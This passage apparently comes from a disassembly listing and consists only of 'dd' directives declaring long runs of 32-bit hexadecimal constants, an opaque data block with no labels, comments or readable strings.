		dd 30E40EDDh, 0F2331C15h, 772EB7E4h, 0B273EC5h,	27BEFE9Bh
		dd 0E7E16581h, 0D4A5FBE4h, 37D2BB4Ch, 2F29FEC5h, 0EBF2C750h
		dd 9DC3745Eh, 9CBCF9F8h, 95E84B89h, 0FC17447Fh,	0BC035BBBh
		dd 6C68822Dh, 0BE38DF4Ah, 0E15A71E9h, 0A9E48F8h, 82F1E5A9h
		dd 7156D4C7h, 0A45769FDh, 4F3CE4CCh, 0CA46EA40h, 779F2163h
		dd 0F8062AFDh, 0B87C4FE9h, 50E5C04Dh, 175F1E93h, 562D37E9h
		dd 902444A8h, 0F181000Fh, 4C4B0B89h, 0C827BC2Ah, 0EB683057h
		dd 485C72F8h, 501D2476h, 5665306h, 0EA0114B5h, 9AE548Ch
		dd 291E6FDEh, 0CC8000DCh
		dd 89808D77h, 13594ECDh, 0E9C12CFCh, 0C1876E55h, 0F17B71F3h
		dd 17323E50h, 0B8E8A0BDh, 277C1F81h, 9A522965h,	0A60F64B8h
		dd 912F4168h, 1C0D03Eh,	2CCAF748h, 288118E0h, 0CDC380EBh
		dd 993872ECh, 0BCDA1DEh, 397D77C9h, 4761570Dh, 0B2CB066Eh
		dd 944A4231h, 0B775B0FDh, 3348A043h, 0F5BFF4C1h, 0A93280DDh
		dd 0FED7B652h, 0EEC01ECEh, 0B1F6CF04h, 0FB3E92DDh, 75FEFDD2h
		dd 0E9A8496Bh, 599FF268h, 50F08B26h, 90BC3A51h,	0DB406A86h
		dd 2D5717EFh, 168EAC08h, 846806C7h, 24C8B489h, 0C32958D9h
		dd 87C40BDh, 58656F60h,	2E2C3623h, 40A10C01h, 0FB290324h
		dd 813EDFBh, 0FFE09A13h, 0ABEF1280h, 0D554062Ch, 0FEC850Ch
		dd 251286ECh, 0EC2C415Eh, 0D0264AE9h, 4D58F2C4h, 4A4A5CE2h
		dd 0B715C8ADh, 915FE832h, 3E2EBA3Ah, 0D9A8BF6h,	8B1D564Dh
		dd 27E1CEEDh, 367558C7h, 0C5BB033h, 7F409E8h, 201133Ch
		dd 0C581176Eh, 35ED0A5Fh, 67320C82h, 505F3D5Eh,	40088393h
		dd 29E9140Ch, 3DD1EA1h,	58094B33h, 0E2B3C28Fh, 0C3709975h
		dd 5CB4017Ah, 2C40A868h, 0C1FACC0Eh, 45809059h,	3A602120h
		dd 0F8A13DBDh, 93642CB7h, 573E4B0Ch, 0DC41E5C7h, 0EE127E75h
		dd 0CAF629DAh, 0D4F3F55Bh, 1D6BC500h, 0D5016552h, 20BDF39Dh
		dd 0A6E9120Dh, 10A5E39Eh, 0C1194EBCh, 2EC746E7h, 26094FE0h
		dd 45DFB31h, 9011A9Bh, 167D84C2h, 70BE9D0Fh, 92405BBh
		dd 0F4539A25h, 0EA07205Dh, 827326F9h, 6390857h,	4B2A843Fh
		dd 6E87D37Ah, 66CF80C2h, 0B7545B35h, 4ECC5A27h,	613226F9h
		dd 0D46C0C6Fh, 5C97D216h, 30060ADBh, 9062C6Ch, 905D0EB2h
		dd 73F280CBh, 0B4EA2FF0h, 26EB87A3h, 0F0E40624h, 6006461Ah
		dd 0C00D65F6h, 885966AAh, 2C3958E6h, 27424C47h,	0F75880E0h
		dd 0B57E68D9h, 9205B0DBh, 9309C7C4h, 0A41B29FEh, 17B19449h
		dd 52398340h, 90C39DF1h, 3BBAE3E9h, 685B8B41h, 1E2C700Bh
		dd 403C5C4h, 0F2C214BBh, 0D758C31Ah, 6B78E350h,	20C79057h
		dd 68136CD0h, 49F6274Ch, 592304Eh, 49483B8Ch, 237D1033h
		dd 0C0E7800Fh, 0BF45CE05h, 4A54B29Ch, 54FFDE5Eh, 0F0A254C5h
		dd 73430B7Dh, 820449B3h, 16EE4065h, 986A4150h, 2574F86Fh
		dd 8580B3F9h, 0E9207789h, 3B282F2Eh, 3E47D953h,	0D6A9506Ah
		dd 804C602Ch, 330FD0D8h, 0C799C729h, 128AC508h,	7238AA5Ch
		dd 70E14A54h, 48BF686Eh, 37B221C4h, 0B113FD10h,	13DFE36Dh
		dd 5EA7288Ah, 9DEB6A79h, 5D61A709h, 2EC704D9h, 0A728F113h
		dd 0FA05D5B9h, 9D29580Bh, 6613262Ah, 5C8B577Dh,	0F7B12h
		dd 8EBC024h, 6BEFF380h,	417C79B0h, 7CE42F72h, 0BC009C9h
		dd 0E5C81DAAh, 1025443Ch, 1694D6A2h, 0A732AE55h, 306B485Fh
		dd 4A97EFC8h, 0CB93A201h, 4007004Ah, 15522756h,	9AB19AE9h
		dd 0E337BB13h, 203B024Ch, 0F52107EEh, 5598C165h, 0BF4C663Eh
		dd 94E3FB51h, 0F2AB84AFh, 9664506Eh, 41870E0Bh,	5B86E129h
		dd 4CCE9B50h, 0E91B0C22h, 2C38C5A4h, 8EA8AB7Fh,	8F803D50h
		dd 36BBA102h, 86F05BAFh, 326C704h, 0D5C60865h, 6D68099Ah
		dd 9782CB4Ch, 0D7D9287Bh, 0F2FA579Fh, 0EB07D3B5h, 1D828DCAh
		dd 0A75E20F0h, 50D96841h, 0D78EA67Bh, 14FCAE6h,	0B7371424h
		dd 3A41F822h, 0FAB7419Ah, 814B00EBh, 64EE85F3h,	4C96017Fh
		dd 9DC77625h, 88468B5Ch, 30A3C310h, 0F67E3925h,	4B684122h
		dd 0DD283E44h, 0F70B9DFAh, 2E5F9EF5h, 128ACE01h, 0AFF77798h
		dd 2B08E192h, 0B24F37B7h, 4F95D035h, 6A7929AEh,	0B5408FCAh
		dd 821418ABh, 0EB59CA1Ch, 0DCE37D2Dh, 0CD790AFEh, 0E789E2D5h
		dd 0AC0BA3D8h, 0DC3D7F18h, 0D1CD707Eh, 0C5880AC3h, 0A9EB9B53h
		dd 0FF305BDEh, 30E913F7h, 4529EBDFh, 8F10B86Dh,	1047481Eh
		dd 5127F368h, 1207F55Eh, 547B5974h, 62C5695Bh, 59CD3107h
		dd 0E90B913Ah, 9EE1F06Eh, 82002E73h, 3C660603h,	81D4E0DFh
		dd 5C4DECF7h, 0F7963B3h, 2538798Dh, 647BC380h, 9946E95h
		dd 0B08EB14h, 9482DBE9h, 0C7C59DC6h, 0AD92EE90h, 5A16481Bh
		dd 0E3B5CFECh, 339558B6h, 0B0EB61ECh, 122BA770h, 8C3C9B68h
		dd 2940CD2Ch, 59CB2409h, 3E42C63h, 0A043D63Fh, 0E92AF6F6h
		dd 0ECB0AB20h, 0B64D8302h, 81C63174h, 0A86FEEDEh, 0ED2A51EDh
		dd 0D8903B33h, 64306B28h, 5CAF83Ah, 2925B157h, 50EE81C2h
		dd 564B0011h, 871F03BEh, 0F331C192h, 7F9F16F1h,	225363E6h
		dd 0C0CF4A7Fh, 6EC8BF24h, 29140C0Fh, 0A5D689F9h, 3C1E6811h
		dd 46478D92h, 21520EBAh, 52E0DD89h, 0FF827AE0h,	298D80Bh
		dd 47C4A398h, 0BDB360ADh, 79314B18h, 0A62F798Fh, 0E736004Eh
		dd 90C95980h, 9964AF6h,	3C0FB94Ah, 0C74177E5h, 6BFDD72Fh
		dd 75BE9719h, 30EB60C2h, 0F5A5DA60h, 2F638C75h,	81F8E2C1h
		dd 0E490D609h, 87905665h, 44E956FDh, 0F5810052h, 4EA03948h
		dd 0EA354089h, 666077B1h, 3190CAF2h, 3A590881h,	0C1E433F8h
		dd 6A012CE6h, 0F185F0A9h, 4DEA90A8h, 0FE5099C7h, 4F066EFAh
		dd 0C6293DB9h, 58088046h, 0E9F10D01h, 594C22C2h, 38F901B6h
		dd 55D3271h, 174B4E29h,	74C5D116h, 0F8EE5601h, 0A26A8A3Dh
		dd 7B85B9Ah, 6AACD5B1h,	33F4652Dh, 68729A6Bh, 0B89AAD6h
		dd 0E4C53866h, 0C0E7402Dh, 7245959Bh, 0DB444A31h, 8D9AF67Eh
		dd 0F5EA1F35h, 324E0B14h, 0A6A8D016h, 0B979EC07h, 0DD92C269h
		dd 598419DDh, 0DF87C3E8h, 0A65B94CBh, 0D9346C01h, 0A0EE2961h
		dd 0E92408C2h, 5893130Bh, 4A352820h, 62275CD1h,	0B3D4AF2Dh
		dd 0B5EE8A78h, 51C01C59h, 70B4D7B1h, 0A0CC4B92h, 0F340456Dh
		dd 6BBE0705h, 64682E16h, 2C51F20Ah, 0E7116353h,	588FEE3Dh
		dd 52664522h, 0CE04178Ch, 75B53AF0h, 9605B8BCh,	0BC1F6E79h
		dd 9C092CA2h, 8669CDA7h, 270C60E9h, 795FF825h, 3FA6F8h
		dd 7F8D0ADFh, 366073E9h, 2082E13Fh, 0BE645C70h,	0A6490212h
		dd 92FD38C7h, 2D2DFEFFh, 42C1B07Ah, 0E2733265h,	97F89D85h
		dd 1492D1Fh, 99683338h,	2A302A4Eh, 176E4AABh, 92E80174h
		dd 62FECF68h, 1F3DBE01h, 9735721Eh, 0BD5E30CCh,	0E5AA316h
		dd 12DE0E0h, 0FA3790Ch,	4505D001h, 0F95F2D07h, 43054001h
		dd 4102FB63h, 0ADE20D2Dh, 6CD5C057h, 774D3014h,	0A672F00Ch
		dd 5001283Eh, 5F81C598h, 1CEA13Fh, 96F054FBh, 79985882h
		dd 0A1E058D3h, 30235E78h, 9F27A98Bh, 0E681730Eh, 752CC457h
		dd 0D0F8C8FEh, 7DB5EA12h, 1789151Eh, 0F474401h,	31165E98h
		dd 0F6D90453h, 0BD660292h, 7B2240AFh, 2E59815Ch, 37F1F3ACh
		dd 0DCCC7B71h, 9DAD9247h, 4E5159D6h, 4F9768C4h,	0BA90CC56h
		dd 0D26E709h, 17908036h, 98552E43h, 0A1024CBBh,	599EF63Ch
		dd 825A7B7Ah, 0A3EEA9A4h, 293A6CC1h, 0C6202C51h, 2731776h
		dd 0C6AAE06Bh, 0C983D040h, 0F5045240h, 0E2D10644h, 9B942D10h
		dd 97F2E6E6h, 0F1358E4Ah, 60D489AAh, 6082BB18h,	952838C8h
		dd 4C833AA1h, 0BDCE742Bh, 6CAE0813h, 44B20238h,	4401F1EBh
		dd 514BA362h, 0FD2A3C8Bh, 5381E4EFh, 5E032755h,	6F48E4B1h
		dd 4F441B57h, 5306F61Ah, 0FCBC7CFFh, 0E70E0B00h, 1CEBC138h
		dd 0F56AE908h, 5A3280B8h, 8B98F057h, 12665B49h,	18054A04h
		dd 0EE62F237h, 81917E97h, 2387BB9h, 905DDA5Dh, 0BC7DD562h
		dd 42266231h, 55893427h, 0E912EC96h, 0D7F8056Fh, 565CCF89h
		dd 3F2844C7h, 9BD8CB15h, 3B3E7C76h, 0C9023928h,	49933474h
		dd 237805Dh, 2543B2h
		dd 48F12BEAh, 6283540h,	0C188830h, 25E3F3B5h, 66413127h
		dd 6A2C3515h, 454B28E7h, 0A21582CDh, 0E58A4157h, 0C1580274h
		dd 1D749AFEh, 88520166h, 0F6DA86E2h, 2E08BCD3h,	743C30D4h
		dd 7E4C002h, 7B824AE9h,	0AC2A013h, 21887143h, 0AAF02ADh
		dd 10402629h, 0F0175CD8h, 54810162h, 9DF308EDh,	806813FAh
		dd 974D07FFh, 5AF9254Ah, 0BD5D0840h, 5B926CDBh,	9F3F2CFBh
		dd 0F4C41E6Fh, 999A7EE2h, 0A273D19Dh, 2D46C1B9h, 20192A8Dh
		dd 628E039h, 77279435h,	871AFD05h, 6C945970h, 0D761855Ah
		dd 0D240ECA4h, 0F924FB11h, 0A30D13BEh, 4068C2E5h, 40537A5Ah
		dd 561C5F11h, 9A349DBEh, 385762C0h, 61D4C6Ah, 9E60DA04h
		dd 5A50BF3Eh, 7C5E2508h, 17DC278Fh, 4D8F641h, 0D4ACCAD7h
		dd 585401F9h, 2A69EA68h, 264B0FCCh, 1B8B80Fh, 4236FAE1h
		dd 8FBC4043h, 70EDC03Dh, 65600EAFh, 0E868E535h,	622BBE72h
		dd 810054F0h, 262FAFF5h, 1B0582h, 210F76B3h, 89B5D2E9h
		dd 0A8C7FFFEh, 44F5F9A5h, 3163D1EBh, 3EF7DFDDh,	24C8AF16h
		dd 0BAD640A1h, 94229F09h, 0EDD604h, 2F09C8EAh, 0A0B589D2h
		dd 0B545F2Fh, 9AB900Dh,	47CC30F9h, 15659A09h, 990042A8h
		dd 5721476h, 7A415668h,	0EB4D2F4Fh, 0D1422BD1h,	892AC50Eh
		dd 9F64D921h, 2F2571B5h, 0E9412547h, 8D2A16BDh,	92812A3Ah
		dd 0FF151274h, 0A81C0E88h, 0B80B885h, 1E15346h,	9C400BA9h
		dd 2E131EE2h, 0E4A864A6h, 79121502h, 0FDE2DFF7h, 4795A8D0h
		dd 93E90615h, 6812107Bh, 8D8C1CDDh, 0F405020Eh,	0DB8EE90Fh
		dd 5073B9D5h, 9D590D60h, 1BCD69E8h, 24311E02h, 0B0FB6845h
		dd 0B05755FEh, 80EE41B5h, 0F146D9A4h, 60FB0149h, 14F8985Fh
		dd 0A5B87D1Eh, 54441354h, 0D2B3749Dh, 4297784h,	4BACFEE9h
		dd 47A6BF02h, 49FE33D1h, 8CFE9320h, 81621B48h, 78C24A39h
		dd 832D0C80h, 3DE9C873h, 0C785F054h, 79C25456h,	9072E609h
		dd 46DE62Dh, 6F61FE35h,	0E3A18149h, 8DD03B18h, 98330D06h
		dd 82D376D8h, 0FD194175h, 0C109B520h, 27A8EE89h, 0C09E7CAh
		dd 5A0336h, 1D0BC6D3h, 0D940E342h, 61518E6h, 0A7E920E2h
		dd 883F3CD3h, 72EF73FAh, 5C89DFEFh, 0CAE8387h, 0E0C728E8h
		dd 3E5079BAh, 51966191h, 9A27BF4Eh, 80E5DF82h, 686FBECDh
		dd 6B6D7AAFh, 8A68BBD6h, 722D0BFBh, 29A1C122h, 0EC1684D8h
		dd 62E51FF3h, 18D2E7Dh,	7301360Fh, 0D65B21E9h, 2792D17Fh
		dd 5B25C15Ch, 0FF34134Eh, 306F2B6Dh, 0C2685240h, 0BBCC365Bh
		dd 145C171Eh, 4462474Fh, 59F725A4h, 0F43FF2FBh,	739F11D9h
		dd 13A467h, 35444DE8h, 63F2602Dh, 0E9910904h, 8807DC6Ch
		dd 59CF21C1h, 48817E58h, 0C780AB5Bh, 766405D0h,	5A090C28h
		dd 7A694A68h, 0A4AC5FA7h, 0E5E71049h, 784661EFh, 1FBD0E44h
		dd 0FA484978h, 0B8CA5CABh, 2A3EA5B5h, 0E9084FE3h, 58129D45h
		dd 50754167h, 5DBFF281h, 59C83D89h, 0B1C67DDh, 0C0A061E9h
		dd 884AD9BEh, 0F1291212h, 2BCECABFh, 29894DCDh,	73B17FE8h
		dd 7E163E77h, 0CFDCDE0h, 31734F1Ch, 2E905AC3h, 8C09224Bh
		dd 0EF4A5E33h, 40D3B0C6h, 2F49F0BDh, 6E63FD86h,	0D9D5F6A1h
		dd 0B25A84C5h, 0A083B0F1h, 2CD0816Fh, 0E4DC5AD1h, 4C06FFEh
		dd 0B55101A1h, 52CDE40Eh, 607EE918h, 3D3376EBh,	7312391Dh
		dd 0B9D1D5EEh, 5DEA851Dh, 0C4F17385h, 0EB08D47Ah, 15E7BBD4h
		dd 2DD62D50h, 89571D6Fh, 6840DDA0h, 4A25113Dh, 0E7BA70AFh
		dd 38FFE9FEh, 46338231h, 61702D96h, 8CA2E639h, 7274575Bh
		dd 243D8C88h, 8E4507D4h, 0A45FA26Fh, 909E7FFCh,	21FBC49h
		dd 597DA08h, 25F6E85Eh,	8B89D5CFh, 34DFC7FDh, 0C3638164h
		dd 89106C7Bh, 0E3247F5Eh, 4EFCB8CFh, 3EB779AEh,	18109E2Dh
		dd 4565BEFh, 0DCE95FDEh, 17C0AD11h, 3BCC393Ah, 0A645141Ch
		dd 9A05AA06h, 9173516h,	0B07703B5h, 0D2CFC9CFh,	3928FC5Dh
		dd 765BF5CAh, 0E2482DECh, 16DF907Ah, 0CC77FC68h, 0F75A945Fh
		dd 99B838ABh, 881CF660h, 0EEF586D5h, 1308DED6h,	0B90504EAh
		dd 0AC29AAD8h, 0C75336F1h, 0C81FB251h, 62976846h, 255A216Bh
		dd 0E4C1969Ah, 94BC3C4Ch, 98532050h, 0E1EB07E9h, 6061F340h
		dd 0A82CC6E3h, 1AD7284Ah, 1D0DBFF0h, 0B951053Ch, 0BB1F3D98h
		dd 1AC05717h, 5C2E79E3h, 9A048D71h, 0AF775A2Ch,	6905EA41h
		dd 0C823C43h, 27A3553h,	9AA2E37Dh, 2B9D5ADEh, 3E24C01h
		dd 62BA2745h, 2B1483E9h, 3BD899E2h, 0DF316851h,	0DEFEF305h
		dd 9E3479Fh, 3EF93995h,	3B508888h, 0B87F91CAh, 4E677899h
		dd 93DF73ADh, 4E2FA864h, 94859FEDh, 18FF1E7h, 696DF4BBh
		dd 4D7D4C9h, 1F877055h,	526B2880h, 64C76C9h, 2620A2CFh
		dd 3CF80C40h, 247B8937h, 304B644Fh, 80435983h, 30E93403h
		dd 0B052C3B7h, 82BF285Ch, 0B08446Dh, 2B68D7C0h,	0DAB14963h
		dd 0F2EF847Ch, 8B87C8B9h, 0D3D9CB9Fh, 1B66F88h,	0D14ED6F7h
		dd 0C10D71E6h, 28276120h, 665CC4F5h, 0F0B15AC2h, 5A5427E9h
		dd 6CC34DFh, 680FEFF5h,	0C1A06D3Eh, 0FBBDEE26h,	0D0E808F0h
		dd 260CDC27h, 97804957h, 6FA9222Eh, 2F8D49Dh, 7E9A7701h
		dd 9C761EE2h, 330BD393h, 638A541Bh, 937FC8B9h, 0F15A6625h
		dd 0B4C631C9h, 0AAF03079h, 3EAC018h, 35E90706h,	88E385h
		dd 0F5806EE3h, 2BF302Ah, 55D85ABFh, 0B880A1D3h,	41FB646Ah
		dd 0B766935h, 1FC3084h,	0F4639EBEh, 12339941h, 5841222h
		dd 5F29FF02h, 1D682847h, 0C93CA487h, 315D21C0h,	0BB63F6F9h
		dd 0EA86F40Eh, 0B7ED4780h, 41D73042h, 0CA2FA5C8h, 2DFE4E87h
		dd 0FB82B8Bh, 0FBEEC8CCh, 0D9257C9Eh, 61E7620Bh, 0B0B431F9h
		dd 558944ACh, 0F6C45F5Ah, 0EB12FC7Dh, 2117C68Bh, 3B64FFE8h
		dd 81A8E053h, 34B7B1h, 1329F1B8h, 80404427h, 56D8F7AEh
		dd 7DEBE917h, 0E97435EAh, 0D14A7DF8h, 50599200h, 0BB51F088h
		dd 8B5A1EB4h, 5484387Fh, 66A1409h, 0E3B372EBh, 4BDA7E8Ch
		dd 86C2C80Fh, 594F4A79h, 812DAD4h, 0A7BDA921h, 2CF82800h
		dd 0B804B172h, 9696866h, 0B71CEEB9h, 13F81FF3h,	0B585A85Bh
		dd 0E9BA4202h, 25C456AAh, 9565B4F7h, 0E984C759h, 0B6A95E82h
		dd 9188FAD3h, 65EA2A68h, 0DE120ABh, 86D7F603h, 0B1C2FEFAh
		dd 0E2D080DAh, 0F3172CE9h, 6916C091h, 574E07F1h, 0CA4AFACAh
		dd 2EE05FD4h, 6BD77231h, 0D80008FAh, 3620341Fh,	0CBC54A5Bh
		dd 9233282h, 26A7C0Bh, 11C77340h, 0E9245E82h, 7580BA02h
		dd 53EEEB24h, 0A302EB12h, 0D8280714h, 0AF13306Ah, 0B353F835h
		dd 0B050BB0Bh, 0DB12FDE5h, 0F9404262h, 7F3E061Dh, 8670F944h
		dd 786FD497h, 0D197CE91h, 0B08147C6h, 735B0226h, 0B7709F98h
		dd 0B8111E30h, 0FC79756Bh, 9B24FE9h, 255459EAh,	0C96A2340h
		dd 69979849h, 53860D27h, 662F66D9h, 0E415D455h,	3F58FC5Dh
		dd 2992DA52h, 252E7E2Bh, 48468BF7h, 9573D60Dh, 0F9A8887Bh
		dd 0BF0ACD2Ch, 4DCC4916h, 0CCF94FA8h, 7A5EAE2Dh, 97401D5Dh
		dd 0DE318B11h, 0F86BE75Bh, 0EB0328FEh, 0E1ADEEB6h, 48CBE989h
		dd 9C20B411h, 7D2D0448h, 0AC8FB32Dh, 0AAD8BD5Fh, 309C00F4h
		dd 0BF7B6C23h, 0BAC6EE20h, 75302C7Fh, 3F616851h, 4A192F37h
		dd 580E67Eh, 7C20F281h,	17964FC3h, 0CA42A0CEh, 2ADAC74Fh
		dd 12185727h, 0A934E9FAh, 6FA00E1Fh, 0C2809DF6h, 75709BB8h
		dd 8489432Dh, 37AF4E87h, 46B7605Dh, 0F61613B1h,	3F1880D1h
		dd 2305F06h, 0AC2C5BF9h
		dd 63570D04h, 0C7BFA4FAh, 3B1EAEC2h, 5FB1592Fh,	6B5B2050h
		dd 80CD7E82h, 881E3FC5h, 7201BB3Bh, 0E918CAECh,	0A27BF068h
		dd 0C2C89ED9h, 0CBE90B56h, 3A21A841h, 0D3E8561Ch, 203022Eh
		dd 56C46127h, 102FE63Bh, 4048DA8Dh, 0EB7C7A25h,	0FE6AE230h
		dd 0BB04D2C7h, 2812C541h, 0CDF15BFDh, 9581C5E0h, 476655C1h
		dd 1D50FE92h, 51D6CA29h, 0B7BEF140h, 97A6DD87h,	27A9BE0Fh
		dd 5858FCD8h, 535213E5h, 0D40ECC12h, 4204B3FCh,	38FE297Ch
		dd 0BC02ED37h, 29481960h, 89488DDh, 0EEED5B12h,	2FBFCE18h
		dd 73F28EE2h, 0DDA30FFh, 0C767E413h, 41A2A4E0h,	0B25060FAh
		dd 0F3337060h, 4839786Fh, 0DF048018h, 0C01AD263h, 0A91C7939h
		dd 6EE9F316h, 0DA46B1F5h, 527CB5CDh, 2A64012h, 0CD2A2817h
		dd 7A9921A0h, 0EBD81FF2h, 800EF4B3h, 7CFE83CBh,	0D504C39Ah
		dd 0E069A082h, 30200009h, 726C1D18h, 0FE92B829h, 36B45C54h
		dd 2C0A53A3h, 0CEA5353Ah, 0F40EBB09h, 0CC918C85h, 43F5BB8h
		dd 60A02EB1h, 2CD18889h, 4A78262Bh, 0E15DB454h,	257C363Dh
		dd 13F3F839h, 0A034B19Fh, 6B4122E9h, 0F93ACDDDh, 54521659h
		dd 3D0661FAh, 3BEC4D46h, 67F8582Ch, 0E46810CAh,	0D2EEB201h
		dd 0F43F73F1h, 0F74E988Ah, 4A901176h, 48773136h, 0A0A22BE0h
		dd 2264EB4Eh, 5756E40Eh, 9555D0C8h, 0CB628851h,	2DFCA458h
		dd 1E31CBF5h, 12B92B34h, 0BFE862ACh, 24DD3F00h,	4EE974B0h
		dd 3B59A11Eh, 1860B8CDh, 0C681C987h, 21D7C700h,	48953805h
		dd 81944A4Ah, 58C5825Eh, 0DB517768h, 0BF80284Ah, 0ED008F67h
		dd 132F3CE0h, 0BE84EE9h, 95D75317h, 565C01E4h, 88730C68h
		dd 2C35B6F5h, 0EC264F3Ah, 4271207h, 93928E97h, 0DA1D0Bh
		dd 3E954B7h, 160B9E0h, 4B8F3DB2h, 0A85BFE5Ah, 0B3C45012h
		dd 9287F2FEh, 0FC01BBD2h, 50EA98D8h, 0C1B7B1C1h, 5374F389h
		dd 0EED84F29h, 48E70128h, 0BCE41F02h, 96D94E3Fh, 837B8A60h
		dd 13DA68E8h, 49003E9Bh, 4B1ECA2Bh, 0DCB0B81h, 4762AA67h
		dd 0ACA8BA04h, 4ADE01ACh, 236831A4h, 3F638D3Ah,	35B994A8h
		dd 0AA162B8Bh, 68952CFEh, 260D100Bh, 4413DB64h,	5A7FB95Dh
		dd 0AC30D72Dh, 58C0F492h, 430EAB7Dh, 327E18h, 0FC5BBF87h
		dd 0D14BF71Bh, 0E0899BB4h, 9A789FADh, 4107AB04h, 0EDC2310Dh
		dd 25E07C63h, 70E2F056h, 91F3D5F2h, 11CF8100h, 1605161Ah
		dd 0ADECCDE9h, 0B94E85D0h, 0E45F46B3h, 4002F71Fh, 10E967BCh
		dd 6BA95D28h, 0E80B186h, 0A65AC4E6h, 59ECC5A0h,	1171C10h
		dd 0FA6DAEDCh, 0E1D07296h, 0A447DA41h, 8290C8B6h, 5AB2F1EFh
		dd 0AD5B084h, 5612A059h, 45C565AEh, 0EC7E6C9Bh,	0A2AFA588h
		dd 67C08BACh, 0DD4A1AA9h, 0A6046959h, 0F2B1E528h, 2D9F2529h
		dd 0CA840A7Fh, 0DD8A6812h, 0E9DC1860h, 99C0F11Dh, 273B04F2h
		dd 9CA8BA54h, 0B96805D5h, 2568A373h, 88F36195h,	0E74B8660h
		dd 893F8004h, 4E2FBD12h, 20DA5031h, 801727E6h, 278CF9EFh
		dd 0F449AE51h, 9C0C70E9h, 0C83041EAh, 0C0862259h, 0FE23B652h
		dd 0F68017CEh, 0A0A004A1h, 70991662h, 12BCED2Fh, 2324C8CBh
		dd 4B8F8F87h, 42E076E5h, 8EC4AD40h, 0C855E31h, 0A4F45A58h
		dd 1F5995E2h, 0DF516181h, 2F625F78h, 33A79D7Fh,	32C71E1h
		dd 0FADAED72h, 6C73F721h, 0E7D820E9h, 0AD592DB5h, 513F1100h
		dd 47602E03h, 6E74A40Eh, 0CB015A72h, 7B2D0181h,	0E962DF23h
		dd 94AFFDF1h, 0B6101F6Bh, 683F9E67h, 2848DB59h,	0BA97855Eh
		dd 0EB8890C8h, 917D4876h, 173429C6h, 5ADD809Ah,	684C5552h
		dd 39FB1F57h, 0B0FC3749h, 0B2DD28Dh, 0DBF72273h, 4C16D6E0h
		dd 76316227h, 0FBE904F8h, 1CB688B0h, 0F568C883h, 6024AA7Bh
		dd 0BF04CEBFh, 206E4C0Dh, 0C0CFFAEh, 5843656Ch,	7E2B13E2h
		dd 56F719EEh, 0E4FFACC7h, 1FA1BB12h, 0F464488Ah, 5DC181BAh
		dd 2F690AE7h, 0E55F101Eh, 6B4411CEh, 28B90145h,	16AEC06h
		dd 0D9468281h, 5B906F7Eh, 604150CBh, 0EDF37E69h, 4B177DDAh
		dd 0A0E07AE9h, 0B7457868h, 9880BB98h, 0E4C211CEh, 478D4660h
		dd 4B0B21FCh, 8F7CF901h, 0E7358457h, 0E0B24CB4h, 0F749029Bh
		dd 0BE5647DFh, 520B6779h, 29B47757h, 81DFE927h,	81F92963h
		dd 0C61AE60h, 875F5C17h, 7FEF4083h, 0BD553830h,	0B62D1E20h
		dd 2305A57Eh, 5A97ED5Dh, 969A54ABh, 187E24Ch, 0FC11D2D5h
		dd 50278BD1h, 2D7260E2h, 0FD475CC6h, 0EE0C7960h, 0A0AC54AEh
		dd 256B19E1h, 36EA2E9Bh, 0E95E0800h, 4A934FE7h,	0CBAEDE25h
		dd 0D02D975Bh, 133F4F91h, 0CC3DFE05h, 60DBCA3Ah, 267ADA46h
		dd 7DCAF876h, 3486051Ch, 0D749E942h, 75C597ACh,	551DA07Fh
		dd 306B31F7h, 1F4A475Dh, 0E983F9E8h, 242E0CF8h,	0D5024D42h
		dd 75656F0Eh, 1A522748h, 0E234E025h, 0F532DFDBh, 274AC557h
		dd 4DA473E5h, 1BAC6722h, 585E02FCh, 7FA2E632h, 0F7C92EB3h
		dd 0A9B50018h, 17C32580h, 7B2ACDF0h, 72C92B99h,	0B4C25873h
		dd 72D12DF8h, 61EA6964h, 2B316FF7h, 7F988C30h, 5F2A269Fh
		dd 4F9113E0h, 0FFA1532Fh, 8959DD50h, 48778692h,	3E7D76D3h
		dd 25FC1A44h, 5FFEE80Dh, 820207EDh, 0AF5D0488h,	81BF8580h
		dd 0D2A7504Bh, 8AF95E99h, 2A6315C3h, 18F1556h, 30257D92h
		dd 4BF9730Bh, 90671EF5h, 1162786h, 2CE5B45Dh, 0A8803CA3h
		dd 1FD300E2h, 31B849A9h, 0B60556E0h, 107A7E9h, 0B0B9A2AFh
		dd 92CE8FE9h, 22FE58E5h, 0C538D422h, 48E7847Ch,	0FBFED83h
		dd 829D0367h, 0AF89DFD5h, 42754175h, 41BEC3Fh, 10B02EC4h
		dd 0F048F101h, 0D8436B77h, 0E80768C2h, 6ED9E93Ah, 5D665EBh
		dd 0AA3BCB25h, 2908B950h, 27937B5Bh, 62944C3h, 615FAB29h
		dd 3C0B0C1Fh, 6217ED35h, 2D795F70h, 3E7EC95Bh, 7C14F469h
		dd 57CB8B38h, 66B2784Bh, 0A9AB3E46h, 144AC1F4h,	0EF8A6BA7h
		dd 50F65D27h, 51A5E54h,	35587Bh, 2D7BCB99h, 3E016D8Bh
		dd 0E9C18979h, 0A73E4061h, 0D78E508Eh, 68AC6B7h, 0EB8056B3h
		dd 6B760691h, 82B1F33Ch, 0EFE94CE3h, 5B46F741h,	8EB30C2Eh
		dd 0FE4EF186h, 698E3068h, 312FCDABh, 0DE567F3Dh, 0B68C1A4h
		dd 3CA84212h, 0BDF06A40h, 2FC3572Ch, 2AB8D717h,	5818EFA5h
		dd 246144F6h, 251102A0h, 932747D2h, 0A679F980h,	64802522h
		dd 501FB2BBh, 0CC26C0BDh, 753B3366h, 88D0F472h,	9D2FE922h
		dd 51C454E3h, 2A136FD7h, 0FEA16A4h, 6121736h, 321844DBh
		dd 22F4CDB1h, 59CF3B28h, 93A2F71Dh, 26140AF9h, 585D80E4h
		dd 0D94BC005h, 25156F4Ch, 0D5E2627Eh, 42527810h, 9C63F29Ch
		dd 98227212h, 9E9BB17h,	0B8661694h, 1697C4FEh, 3A769D2Eh
		dd 1FA8DC4Bh, 314CE017h, 0EF2913E6h, 0CF80DE67h, 943D46E9h
		dd 0EA9E881Eh, 0B3C5325h, 5DCF821h, 76695D47h, 91F1A5DEh
		dd 227ABE40h, 0D14A4C4Dh, 2B609B06h, 68090C0Fh,	75FDC7DFh
		dd 81D20C0Ah, 40627DE9h, 7FC10157h, 0F8444FF8h,	0A52E9F2Ah
		dd 51B2E8C1h, 0F5F43EF8h, 0A37F4F15h, 1FF474DCh, 0DCA8C35Fh
		dd 6E0E9BF0h, 0E9C6BEA0h, 5BDC3630h, 1F56A5F6h,	0C4050857h
		dd 0FE2B047Eh, 2B6F500Eh, 62C2C73h, 0AD0AA32Dh,	63E91502h
